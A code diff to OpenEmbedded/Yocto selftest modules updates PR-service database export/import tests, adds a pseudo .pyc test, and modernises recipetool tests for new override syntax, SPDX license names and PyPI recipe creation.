+ export_result = runCmd("bitbake-prserv-tool export %s" % self.exported_db_path, ignore_status=True)
self.assertEqual(export_result.status, 0, msg="PR Service database export failed: %s" % export_result.output)
- self.assertTrue(os.path.exists(exported_db_path))
+ self.assertTrue(os.path.exists(self.exported_db_path), msg="%s didn't exist, tool output %s" % (self.exported_db_path, export_result.output))
if replace_current_db:
- current_db_path = os.path.join(get_bb_var('PERSISTENT_DIR'), 'prserv.sqlite3')
- self.assertTrue(os.path.exists(current_db_path), msg="Path to current PR Service database is invalid: %s" % current_db_path)
- os.remove(current_db_path)
+ self.assertTrue(os.path.exists(self.current_db_path), msg="Path to current PR Service database is invalid: %s" % self.current_db_path)
+ os.remove(self.current_db_path)
- import_result = runCmd("bitbake-prserv-tool import %s" % exported_db_path, ignore_status=True)
- os.remove(exported_db_path)
+ import_result = runCmd("bitbake-prserv-tool import %s" % self.exported_db_path, ignore_status=True)
+ #os.remove(self.exported_db_path)
self.assertEqual(import_result.status, 0, msg="PR Service database import failed: %s" % import_result.output)
self.increment_package_pr(package_name)
pr_2 = self.get_pr_version(package_name)
- self.assertTrue(pr_2 - pr_1 == 1, "Step between same pkg. revision is greater than 1")
+ self.assertTrue(pr_2 - pr_1 == 1, "New PR %s did not increment as expected (from %s), difference should be 1" % (pr_2, pr_1))
+
+ self.cleanup()
def test_import_export_replace_db(self):
self.run_test_pr_export_import('m4')
diff --git a/meta/lib/oeqa/selftest/cases/pseudo.py b/meta/lib/oeqa/selftest/cases/pseudo.py
new file mode 100644
index 0000000000..3ef8786022
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/pseudo.py
@@ -0,0 +1,29 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import glob
+import os
+import shutil
+from oeqa.utils.commands import bitbake, get_test_layer
+from oeqa.selftest.case import OESelftestTestCase
+
+class Pseudo(OESelftestTestCase):
+
+ def test_pseudo_pyc_creation(self):
+ self.write_config("")
+
+ metaselftestpath = get_test_layer()
+ pycache_path = os.path.join(metaselftestpath, 'lib/__pycache__')
+ if os.path.exists(pycache_path):
+ shutil.rmtree(pycache_path)
+
+ bitbake('pseudo-pyc-test -c install')
+
+ test1_pyc_present = len(glob.glob(os.path.join(pycache_path, 'pseudo_pyc_test1.*.pyc')))
+ self.assertTrue(test1_pyc_present, 'test1 pyc file missing, should be created outside of pseudo context.')
+
+ test2_pyc_present = len(glob.glob(os.path.join(pycache_path, 'pseudo_pyc_test2.*.pyc')))
+ self.assertFalse(test2_pyc_present, 'test2 pyc file present, should not be created in pseudo context.')
diff --git a/meta/lib/oeqa/selftest/cases/recipetool.py b/meta/lib/oeqa/selftest/cases/recipetool.py
index c2ade2543a..aebea42502 100644
--- a/meta/lib/oeqa/selftest/cases/recipetool.py
+++ b/meta/lib/oeqa/selftest/cases/recipetool.py
@@ -1,7 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
+import errno
import os
import shutil
import tempfile
@@ -25,7 +28,17 @@ def tearDownModule():
runCmd('rm -rf %s' % templayerdir)
-class RecipetoolBase(devtool.DevtoolBase):
+def needTomllib(test):
+ # This test require python 3.11 or above for the tomllib module or tomli module to be installed
+ try:
+ import tomllib
+ except ImportError:
+ try:
+ import tomli
+ except ImportError:
+ test.skipTest('Test requires python 3.11 or above for tomllib module or tomli module')
+
+class RecipetoolBase(devtool.DevtoolTestCase):
def setUpLocal(self):
super(RecipetoolBase, self).setUpLocal()
@@ -35,6 +48,8 @@ class RecipetoolBase(devtool.DevtoolBase):
self.testfile = os.path.join(self.tempdir, 'testfile')
with open(self.testfile, 'w') as f:
f.write('Test file\n')
+ config = 'BBMASK += "meta-poky/recipes-core/base-files/base-files_%.bbappend"\n'
+ self.append_config(config)
def tearDownLocal(self):
runCmd('rm -rf %s/recipes-*' % self.templayerdir)
@@ -68,17 +83,16 @@ class RecipetoolBase(devtool.DevtoolBase):
return bbappendfile, result.output
-class RecipetoolTests(RecipetoolBase):
+class RecipetoolAppendTests(RecipetoolBase):
@classmethod
def setUpClass(cls):
- super(RecipetoolTests, cls).setUpClass()
+ super(RecipetoolAppendTests, cls).setUpClass()
# Ensure we have the right data in shlibs/pkgdata
cls.logger.info('Running bitbake to generate pkgdata')
bitbake('-c packagedata base-files coreutils busybox selftest-recipetool-appendfile')
- bb_vars = get_bb_vars(['COREBASE', 'BBPATH'])
+ bb_vars = get_bb_vars(['COREBASE'])
cls.corebase = bb_vars['COREBASE']
- cls.bbpath = bb_vars['BBPATH']
def _try_recipetool_appendfile(self, testrecipe, destfile, newfile, options, expectedlines, expectedfiles):
cmd = 'recipetool appendfile %s %s %s %s' % (self.templayerdir, destfile, newfile, options)
@@ -94,7 +108,7 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_basic(self):
# Basic test
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('base-files', '/etc/motd', self.testfile, '', expectedlines, ['motd'])
self.assertNotIn('WARNING: ', output)
@@ -112,11 +126,11 @@ class RecipetoolTests(RecipetoolBase):
# Need a test file - should be executable
testfile2 = os.path.join(self.corebase, 'oe-init-build-env')
testfile2name = os.path.basename(testfile2)
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://%s"\n' % testfile2name,
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${base_bindir}\n',
' install -m 0755 ${WORKDIR}/%s ${D}${base_bindir}/ls\n' % testfile2name,
'}\n']
@@ -138,11 +152,11 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_add(self):
# Try arbitrary file add to a recipe
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/something\n',
'}\n']
@@ -151,13 +165,13 @@ class RecipetoolTests(RecipetoolBase):
# (so we're testing that, plus modifying an existing bbappend)
testfile2 = os.path.join(self.corebase, 'oe-init-build-env')
testfile2name = os.path.basename(testfile2)
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile \\\n',
' file://%s \\\n' % testfile2name,
' "\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/something\n',
' install -m 0755 ${WORKDIR}/%s ${D}${datadir}/scriptname\n' % testfile2name,
@@ -166,11 +180,11 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_add_bindir(self):
# Try arbitrary file add to a recipe, this time to a location such that should be installed as executable
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${bindir}\n',
' install -m 0755 ${WORKDIR}/testfile ${D}${bindir}/selftest-recipetool-testbin\n',
'}\n']
@@ -179,13 +193,13 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_add_machine(self):
# Try arbitrary file add to a recipe, this time to a location such that should be installed as executable
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'PACKAGE_ARCH = "${MACHINE_ARCH}"\n',
'\n',
- 'SRC_URI_append_mymachine = " file://testfile"\n',
+ 'SRC_URI:append:mymachine = " file://testfile"\n',
'\n',
- 'do_install_append_mymachine() {\n',
+ 'do_install:append:mymachine() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/something\n',
'}\n']
@@ -194,72 +208,59 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_orig(self):
# A file that's in SRC_URI and in do_install with the same name
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-orig', self.testfile, '', expectedlines, ['selftest-replaceme-orig'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_todir(self):
# A file that's in SRC_URI and in do_install with destination directory rather than file
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-todir', self.testfile, '', expectedlines, ['selftest-replaceme-todir'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_renamed(self):
# A file that's in SRC_URI with a different name to the destination file
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-renamed', self.testfile, '', expectedlines, ['file1'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_subdir(self):
# A file that's in SRC_URI in a subdir
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/selftest-replaceme-subdir\n',
'}\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-subdir', self.testfile, '', expectedlines, ['testfile'])
self.assertNotIn('WARNING: ', output)
- def test_recipetool_appendfile_src_glob(self):
- # A file that's in SRC_URI as a glob
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
- '\n',
- 'SRC_URI += "file://testfile"\n',
- '\n',
- 'do_install_append() {\n',
- ' install -d ${D}${datadir}\n',
- ' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/selftest-replaceme-src-globfile\n',
- '}\n']
- _, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-src-globfile', self.testfile, '', expectedlines, ['testfile'])
- self.assertNotIn('WARNING: ', output)
-
def test_recipetool_appendfile_inst_glob(self):
# A file that's in do_install as a glob
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-inst-globfile', self.testfile, '', expectedlines, ['selftest-replaceme-inst-globfile'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_inst_todir_glob(self):
# A file that's in do_install as a glob with destination as a directory
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-inst-todir-globfile', self.testfile, '', expectedlines, ['selftest-replaceme-inst-todir-globfile'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_patch(self):
# A file that's added by a patch in SRC_URI
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${sysconfdir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${sysconfdir}/selftest-replaceme-patched\n',
'}\n']
@@ -273,11 +274,11 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_script(self):
# Now, a file that's in SRC_URI but installed by a script (so no mention in do_install)
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/selftest-replaceme-scripted\n',
'}\n']
@@ -286,7 +287,7 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_inst_func(self):
# A file that's installed from a function called by do_install
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-inst-func', self.testfile, '', expectedlines, ['selftest-replaceme-inst-func'])
self.assertNotIn('WARNING: ', output)
@@ -296,11 +297,11 @@ class RecipetoolTests(RecipetoolBase):
# First try without specifying recipe
self._try_recipetool_appendfile_fail('/usr/share/selftest-replaceme-postinst', self.testfile, ['File /usr/share/selftest-replaceme-postinst may be written out in a pre/postinstall script of the following recipes:', 'selftest-recipetool-appendfile'])
# Now specify recipe
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/selftest-replaceme-postinst\n',
'}\n']
@@ -345,6 +346,9 @@ class RecipetoolTests(RecipetoolBase):
filename = try_appendfile_wc('-w')
self.assertEqual(filename, recipefn.split('_')[0] + '_%.bbappend')
+
+class RecipetoolCreateTests(RecipetoolBase):
+
def test_recipetool_create(self):
# Try adding a recipe
tempsrc = os.path.join(self.tempdir, 'srctree')
@@ -354,14 +358,13 @@ class RecipetoolTests(RecipetoolBase):
result = runCmd('recipetool create -o %s %s -x %s' % (recipefile, srcuri, tempsrc))
self.assertTrue(os.path.isfile(recipefile))
checkvars = {}
- checkvars['LICENSE'] = 'GPLv2'
+ checkvars['LICENSE'] = 'GPL-2.0-only'
checkvars['LIC_FILES_CHKSUM'] = 'file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263'
checkvars['SRC_URI'] = 'https://github.com/logrotate/logrotate/releases/download/${PV}/logrotate-${PV}.tar.xz'
- checkvars['SRC_URI[md5sum]'] = 'a560c57fac87c45b2fc17406cdf79288'
checkvars['SRC_URI[sha256sum]'] = '2e6a401cac9024db2288297e3be1a8ab60e7401ba8e91225218aaf4a27e82a07'
self._test_recipe_contents(recipefile, checkvars, [])
- def test_recipetool_create_git(self):
+ def test_recipetool_create_autotools(self):
if 'x11' not in get_bb_var('DISTRO_FEATURES'):
self.skipTest('Test requires x11 as distro feature')
# Ensure we have the right data in shlibs/pkgdata
@@ -370,15 +373,15 @@ class RecipetoolTests(RecipetoolBase):
tempsrc = os.path.join(self.tempdir, 'srctree')
os.makedirs(tempsrc)
recipefile = os.path.join(self.tempdir, 'libmatchbox.bb')
- srcuri = 'git://git.yoctoproject.org/libmatchbox'
+ srcuri = 'git://git.yoctoproject.org/libmatchbox;protocol=https'
result = runCmd(['recipetool', 'create', '-o', recipefile, srcuri + ";rev=9f7cf8895ae2d39c465c04cc78e918c157420269", '-x', tempsrc])
self.assertTrue(os.path.isfile(recipefile), 'recipetool did not create recipe file; output:\n%s' % result.output)
checkvars = {}
- checkvars['LICENSE'] = 'LGPLv2.1'
+ checkvars['LICENSE'] = 'LGPL-2.1-only'
checkvars['LIC_FILES_CHKSUM'] = 'file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34'
checkvars['S'] = '${WORKDIR}/git'
- checkvars['PV'] = '1.11+git${SRCPV}'
- checkvars['SRC_URI'] = srcuri
+ checkvars['PV'] = '1.11+git'
+ checkvars['SRC_URI'] = srcuri + ';branch=master'
checkvars['DEPENDS'] = set(['libcheck', 'libjpeg-turbo', 'libpng', 'libx11', 'libxext', 'pango'])
inherits = ['autotools', 'pkgconfig']
self._test_recipe_contents(recipefile, checkvars, inherits)
@@ -387,8 +390,8 @@ class RecipetoolTests(RecipetoolBase):
# Try adding a recipe
temprecipe = os.path.join(self.tempdir, 'recipe')
os.makedirs(temprecipe)
- pv = '1.7.3.0'
- srcuri = 'http://www.dest-unreach.org/socat/download/socat-%s.tar.bz2' % pv
+ pv = '1.7.4.1'
+ srcuri = 'http://www.dest-unreach.org/socat/download/Archive/socat-%s.tar.bz2' % pv
result = runCmd('recipetool create %s -o %s' % (srcuri, temprecipe))
dirlist = os.listdir(temprecipe)
if len(dirlist) > 1:
@@ -397,7 +400,7 @@ class RecipetoolTests(RecipetoolBase):
self.fail('recipetool did not create recipe file; output:\n%s\ndirlist:\n%s' % (result.output, str(dirlist)))
self.assertEqual(dirlist[0], 'socat_%s.bb' % pv, 'Recipe file incorrectly named')
checkvars = {}
- checkvars['LICENSE'] = set(['Unknown', 'GPLv2'])
+ checkvars['LICENSE'] = set(['Unknown', 'GPL-2.0-only'])
checkvars['LIC_FILES_CHKSUM'] = set(['file://COPYING.OpenSSL;md5=5c9bccc77f67a8328ef4ebaf468116f4', 'file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263'])
# We don't check DEPENDS since they are variable for this recipe depending on what's in the sysroot
checkvars['S'] = None
@@ -413,15 +416,18 @@ class RecipetoolTests(RecipetoolBase):
result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
self.assertTrue(os.path.isfile(recipefile))
checkvars = {}
- checkvars['LICENSE'] = set(['LGPLv2.1', 'MPL-1.1'])
+ checkvars['LICENSE'] = set(['LGPL-2.1-only', 'MPL-1.1-only'])
checkvars['SRC_URI'] = 'http://taglib.github.io/releases/taglib-${PV}.tar.gz'
- checkvars['SRC_URI[md5sum]'] = 'cee7be0ccfc892fa433d6c837df9522a'
checkvars['SRC_URI[sha256sum]'] = 'b6d1a5a610aae6ff39d93de5efd0fdc787aa9e9dc1e7026fa4c961b26563526b'
checkvars['DEPENDS'] = set(['boost', 'zlib'])
inherits = ['cmake']
self._test_recipe_contents(recipefile, checkvars, inherits)
def test_recipetool_create_npm(self):
+ collections = get_bb_var('BBFILE_COLLECTIONS').split()
+ if "openembedded-layer" not in collections:
+ self.skipTest("Test needs meta-oe for nodejs")
+
temprecipe = os.path.join(self.tempdir, 'recipe')
os.makedirs(temprecipe)
recipefile = os.path.join(temprecipe, 'savoirfairelinux-node-server-example_1.0.0.bb')
@@ -433,77 +439,271 @@ class RecipetoolTests(RecipetoolBase):
checkvars = {}
checkvars['SUMMARY'] = 'Node Server Example'
checkvars['HOMEPAGE'] = 'https://github.com/savoirfairelinux/node-server-example#readme'
- checkvars['LICENSE'] = set(['MIT', 'ISC', 'Unknown'])
+ checkvars['LICENSE'] = 'BSD-3-Clause & ISC & MIT & Unknown'
urls = []
urls.append('npm://registry.npmjs.org/;package=@savoirfairelinux/node-server-example;version=${PV}')
urls.append('npmsw://${THISDIR}/${BPN}/npm-shrinkwrap.json')
checkvars['SRC_URI'] = set(urls)
checkvars['S'] = '${WORKDIR}/npm'
- checkvars['LICENSE_${PN}'] = 'MIT'
- checkvars['LICENSE_${PN}-base64'] = 'Unknown'
- checkvars['LICENSE_${PN}-accepts'] = 'MIT'
- checkvars['LICENSE_${PN}-inherits'] = 'ISC'
+ checkvars['LICENSE:${PN}'] = 'MIT'
+ checkvars['LICENSE:${PN}-base64'] = 'Unknown'
+ checkvars['LICENSE:${PN}-accepts'] = 'MIT'
+ checkvars['LICENSE:${PN}-inherits'] = 'ISC'
inherits = ['npm']
self._test_recipe_contents(recipefile, checkvars, inherits)
def test_recipetool_create_github(self):
- # Basic test to see if github URL mangling works
+ # Basic test to see if github URL mangling works. Deliberately use an
+ # older release of Meson at present so we don't need a toml parser.
temprecipe = os.path.join(self.tempdir, 'recipe')
os.makedirs(temprecipe)
- recipefile = os.path.join(temprecipe, 'meson_git.bb')
- srcuri = 'https://github.com/mesonbuild/meson;rev=0.32.0'
- result = runCmd(['recipetool', 'create', '-o', temprecipe, srcuri])
- self.assertTrue(os.path.isfile(recipefile))
+ recipefile = os.path.join(temprecipe, 'python3-meson_git.bb')
+ srcuri = 'https://github.com/mesonbuild/meson;rev=0.52.1'
+ cmd = ['recipetool', 'create', '-o', temprecipe, srcuri]
+ result = runCmd(cmd)
+ self.assertTrue(os.path.isfile(recipefile), msg="recipe %s not created for command %s, output %s" % (recipefile, " ".join(cmd), result.output))
checkvars = {}
- checkvars['LICENSE'] = set(['Apache-2.0'])
- checkvars['SRC_URI'] = 'git://github.com/mesonbuild/meson;protocol=https'
+ checkvars['LICENSE'] = set(['Apache-2.0', "Unknown"])
+ checkvars['SRC_URI'] = 'git://github.com/mesonbuild/meson;protocol=https;branch=0.52'
inherits = ['setuptools3']
self._test_recipe_contents(recipefile, checkvars, inherits)
def test_recipetool_create_python3_setuptools(self):
# Test creating python3 package from tarball (using setuptools3 class)
+ # Use the --no-pypi switch to avoid creating a pypi enabled recipe and
+ # and check the created recipe as if it was a more general tarball
temprecipe = os.path.join(self.tempdir, 'recipe')
os.makedirs(temprecipe)
pn = 'python-magic'
pv = '0.4.15'
recipefile = os.path.join(temprecipe, '%s_%s.bb' % (pn, pv))
srcuri = 'https://files.pythonhosted.org/packages/84/30/80932401906eaf787f2e9bd86dc458f1d2e75b064b4c187341f29516945c/python-magic-%s.tar.gz' % pv
- result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ result = runCmd('recipetool create --no-pypi -o %s %s' % (temprecipe, srcuri))
self.assertTrue(os.path.isfile(recipefile))
checkvars = {}
checkvars['LICENSE'] = set(['MIT'])
checkvars['LIC_FILES_CHKSUM'] = 'file://LICENSE;md5=16a934f165e8c3245f241e77d401bb88'
checkvars['SRC_URI'] = 'https://files.pythonhosted.org/packages/84/30/80932401906eaf787f2e9bd86dc458f1d2e75b064b4c187341f29516945c/python-magic-${PV}.tar.gz'
- checkvars['SRC_URI[md5sum]'] = 'e384c95a47218f66c6501cd6dd45ff59'
checkvars['SRC_URI[sha256sum]'] = 'f3765c0f582d2dfc72c15f3b5a82aecfae9498bd29ca840d72f37d7bd38bfcd5'
inherits = ['setuptools3']
self._test_recipe_contents(recipefile, checkvars, inherits)
- def test_recipetool_create_python3_distutils(self):
- # Test creating python3 package from tarball (using distutils3 class)
+ def test_recipetool_create_python3_setuptools_pypi_tarball(self):
+ # Test creating python3 package from tarball (using setuptools3 and pypi classes)
temprecipe = os.path.join(self.tempdir, 'recipe')
os.makedirs(temprecipe)
- pn = 'docutils'
- pv = '0.14'
+ pn = 'python-magic'
+ pv = '0.4.15'
recipefile = os.path.join(temprecipe, '%s_%s.bb' % (pn, pv))
- srcuri = 'https://files.pythonhosted.org/packages/84/f4/5771e41fdf52aabebbadecc9381d11dea0fa34e4759b4071244fa094804c/docutils-%s.tar.gz' % pv
+ srcuri = 'https://files.pythonhosted.org/packages/84/30/80932401906eaf787f2e9bd86dc458f1d2e75b064b4c187341f29516945c/python-magic-%s.tar.gz' % pv
result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
self.assertTrue(os.path.isfile(recipefile))
checkvars = {}
- checkvars['LICENSE'] = set(['PSF', '&', 'BSD', 'GPL'])
- checkvars['LIC_FILES_CHKSUM'] = 'file://COPYING.txt;md5=35a23d42b615470583563132872c97d6'
- checkvars['SRC_URI'] = 'https://files.pythonhosted.org/packages/84/f4/5771e41fdf52aabebbadecc9381d11dea0fa34e4759b4071244fa094804c/docutils-${PV}.tar.gz'
- checkvars['SRC_URI[md5sum]'] = 'c53768d63db3873b7d452833553469de'
- checkvars['SRC_URI[sha256sum]'] = '51e64ef2ebfb29cae1faa133b3710143496eca21c530f3f71424d77687764274'
- inherits = ['distutils3']
+ checkvars['LICENSE'] = set(['MIT'])
+ checkvars['LIC_FILES_CHKSUM'] = 'file://LICENSE;md5=16a934f165e8c3245f241e77d401bb88'
+ checkvars['SRC_URI[sha256sum]'] = 'f3765c0f582d2dfc72c15f3b5a82aecfae9498bd29ca840d72f37d7bd38bfcd5'
+ checkvars['PYPI_PACKAGE'] = pn
+ inherits = ['setuptools3', 'pypi']
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
+ def test_recipetool_create_python3_setuptools_pypi(self):
+ # Test creating python3 package from pypi url (using setuptools3 and pypi classes)
+ # Intentionnaly using setuptools3 class here instead of any of the pep517 class
+ # to avoid the toml dependency and allows this test to run on host autobuilders
+ # with older version of python
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+ pn = 'python-magic'
+ pv = '0.4.15'
+ recipefile = os.path.join(temprecipe, '%s_%s.bb' % (pn, pv))
+ # First specify the required version in the url
+ srcuri = 'https://pypi.org/project/%s/%s' % (pn, pv)
+ runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ self.assertTrue(os.path.isfile(recipefile))
+ checkvars = {}
+ checkvars['LICENSE'] = set(['MIT'])
+ checkvars['LIC_FILES_CHKSUM'] = 'file://LICENSE;md5=16a934f165e8c3245f241e77d401bb88'
+ checkvars['SRC_URI[sha256sum]'] = 'f3765c0f582d2dfc72c15f3b5a82aecfae9498bd29ca840d72f37d7bd38bfcd5'
+ checkvars['PYPI_PACKAGE'] = pn
+ inherits = ['setuptools3', "pypi"]
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
+ # Now specify the version as a recipetool parameter
+ runCmd('rm -rf %s' % recipefile)
+ self.assertFalse(os.path.isfile(recipefile))
+ srcuri = 'https://pypi.org/project/%s' % pn
+ runCmd('recipetool create -o %s %s --version %s' % (temprecipe, srcuri, pv))
+ self.assertTrue(os.path.isfile(recipefile))
+ checkvars = {}
+ checkvars['LICENSE'] = set(['MIT'])
+ checkvars['LIC_FILES_CHKSUM'] = 'file://LICENSE;md5=16a934f165e8c3245f241e77d401bb88'
+ checkvars['SRC_URI[sha256sum]'] = 'f3765c0f582d2dfc72c15f3b5a82aecfae9498bd29ca840d72f37d7bd38bfcd5'
+ checkvars['PYPI_PACKAGE'] = pn
+ inherits = ['setuptools3', "pypi"]
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
+ # Now, try to grab latest version of the package, so we cannot guess the name of the recipe,
+ # unless hardcoding the latest version but it means we will need to update the test for each release,
+ # so use a regexp
+ runCmd('rm -rf %s' % recipefile)
+ self.assertFalse(os.path.isfile(recipefile))
+ recipefile_re = r'%s_(.*)\.bb' % pn
+ result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ dirlist = os.listdir(temprecipe)
+ if len(dirlist) > 1:
+ self.fail('recipetool created more than just one file; output:\n%s\ndirlist:\n%s' % (result.output, str(dirlist)))
+ if len(dirlist) < 1 or not os.path.isfile(os.path.join(temprecipe, dirlist[0])):
+ self.fail('recipetool did not create recipe file; output:\n%s\ndirlist:\n%s' % (result.output, str(dirlist)))
+ import re
+ match = re.match(recipefile_re, dirlist[0])
+ self.assertTrue(match)
+ latest_pv = match.group(1)
+ self.assertTrue(latest_pv != pv)
+ recipefile = os.path.join(temprecipe, '%s_%s.bb' % (pn, latest_pv))
+ # Do not check LIC_FILES_CHKSUM and SRC_URI checksum here to avoid having updating the test on each release
+ checkvars = {}
+ checkvars['LICENSE'] = set(['MIT'])
+ checkvars['PYPI_PACKAGE'] = pn
+ inherits = ['setuptools3', "pypi"]
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
+ def test_recipetool_create_python3_pep517_setuptools_build_meta(self):
+ # This test require python 3.11 or above for the tomllib module or tomli module to be installed
+ needTomllib(self)
+
+ # Test creating python3 package from tarball (using setuptools.build_meta class)
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+ pn = 'webcolors'
+ pv = '1.13'
+ recipefile = os.path.join(temprecipe, 'python3-%s_%s.bb' % (pn, pv))
+ srcuri = 'https://files.pythonhosted.org/packages/a1/fb/f95560c6a5d4469d9c49e24cf1b5d4d21ffab5608251c6020a965fb7791c/%s-%s.tar.gz' % (pn, pv)
+ result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ self.assertTrue(os.path.isfile(recipefile))
+ checkvars = {}
+ checkvars['SUMMARY'] = 'A library for working with the color formats defined by HTML and CSS.'
+ checkvars['LICENSE'] = set(['BSD-3-Clause'])
+ checkvars['LIC_FILES_CHKSUM'] = 'file://LICENSE;md5=702b1ef12cf66832a88f24c8f2ee9c19'
